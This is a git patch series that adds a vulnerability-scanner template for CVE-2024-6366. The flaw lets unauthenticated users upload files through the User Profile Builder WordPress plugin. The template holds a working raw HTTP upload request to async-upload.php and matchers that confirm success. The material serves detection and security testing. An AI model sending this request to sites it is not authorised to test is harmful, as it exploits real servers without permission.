From 7d4e16eb7e68674d8e9cab87b39e3de67fad7a14 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Mon, 29 Jul 2024 20:07:32 +0300 Subject: [PATCH 1/3] add CVE-2024-6366 --- http/cves/2024/CVE-2024-6366.yaml | 89 +++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 http/cves/2024/CVE-2024-6366.yaml diff --git a/http/cves/2024/CVE-2024-6366.yaml b/http/cves/2024/CVE-2024-6366.yaml new file mode 100644 index 0000000000..43abcd8940 --- /dev/null +++ b/http/cves/2024/CVE-2024-6366.yaml @@ -0,0 +1,89 @@ +id: CVE-2024-6366 + +info: + name: User Profile Builder < 3.11.8 - Unauthenticated Media Upload + author: securityforeveryone + severity: high + description: | + The User Profile Builder WordPress plugin before 3.11.8 does not have proper authorisation, allowing unauthenticated users to upload media files via the async upload functionality of WP. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2024-6366 + - https://wpscan.com/vulnerability/5b90cbdd-52cc-4e7b-bf39-bea0dd59e19e/ + - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6366 + classification: + epss-score: 0.00043 + epss-percentile: 0.09351 + metadata: + vendor: cozmoslabs + product: user-profile-builder + framework: wordpress + publicwww-query: "/wp-content/plugins/profile-builder" + tags: cve,cve2024,wpscan,file-upload + +flow: http(1) && http(2) + +variables: + filename: "{{to_lower(rand_text_alpha(12))}}" + +http: + - raw: + - | + GET /wp-content/plugins/profile-builder/readme.txt HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - 'contains(body,"User Profile Builder")' + - 'status_code == 200' + condition: and + internal: true + + - raw: + - | + POST /wp-admin/async-upload.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + + ------WebKitFormBoundary7MA4YWxkTrZu0gW + Content-Disposition: form-data; name="wppb_upload" + + true + ------WebKitFormBoundary7MA4YWxkTrZu0gW + Content-Disposition: form-data; name="meta_name" + + {{filename}}.gif + ------WebKitFormBoundary7MA4YWxkTrZu0gW + Content-Disposition: form-data; name="_wpnonce" + + e8 + ------WebKitFormBoundary7MA4YWxkTrZu0gW + Content-Disposition: form-data; name="action" + + upload-attachment + ------WebKitFormBoundary7MA4YWxkTrZu0gW + Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.gif" + Content-Type: image/jpeg + + GIF89a + + ------WebKitFormBoundary7MA4YWxkTrZu0gW-- + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"success":true' + - '"id"' + - '"uploadedTo"' + condition: and + + - type: word + part: header + words: + - 'Content-Type: text/plain' + + - type: status + status: + - 200 From e72b8e49ef6ea387d02c6c01a2dc199ce7dd0fe6 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Tue, 30 Jul 2024 12:04:02 +0530 Subject: [PATCH 2/3] minor-update --- http/cves/2024/CVE-2024-6366.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2024/CVE-2024-6366.yaml b/http/cves/2024/CVE-2024-6366.yaml index 43abcd8940..b805501b51 100644 --- a/http/cves/2024/CVE-2024-6366.yaml +++ b/http/cves/2024/CVE-2024-6366.yaml @@ -18,7 +18,7 @@ info: product: user-profile-builder framework: wordpress publicwww-query: "/wp-content/plugins/profile-builder" - tags: cve,cve2024,wpscan,file-upload + tags: cve,cve2024,wpscan,file-upload,instrusive,wp-plugin,wordpress,wp,profile-builder flow: http(1) && http(2) From 1cfd71828ce3e6a2ebe5178664241474f0756c10 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 30 Jul 2024 12:58:50 +0530 Subject: [PATCH 3/3] Fix FN matcher-request --- http/cves/2024/CVE-2024-6366.yaml | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/http/cves/2024/CVE-2024-6366.yaml b/http/cves/2024/CVE-2024-6366.yaml index b805501b51..e6a10f7dd1 100644 --- a/http/cves/2024/CVE-2024-6366.yaml +++ b/http/cves/2024/CVE-2024-6366.yaml @@ -1,16 +1,17 @@ id: CVE-2024-6366 info: - name: User Profile Builder < 3.11.8 - Unauthenticated Media Upload + name: User Profile Builder < 3.11.8 - File Upload author: securityforeveryone severity: high description: | The User Profile Builder WordPress plugin before 3.11.8 does not have proper authorisation, allowing unauthenticated users to upload media files via the async upload functionality of WP. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2024-6366 - https://wpscan.com/vulnerability/5b90cbdd-52cc-4e7b-bf39-bea0dd59e19e/ - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6366 + - https://nvd.nist.gov/vuln/detail/CVE-2024-6366 classification: + cve-id: CVE-2024-6366 epss-score: 0.00043 epss-percentile: 0.09351 metadata: @@ -28,15 +29,13 @@ variables: http: - raw: - | - GET /wp-content/plugins/profile-builder/readme.txt HTTP/1.1 + GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - - 'contains(body,"User Profile Builder")' - - 'status_code == 200' - condition: and + - 'contains(body,"/plugins/profile-builder")' internal: true - raw: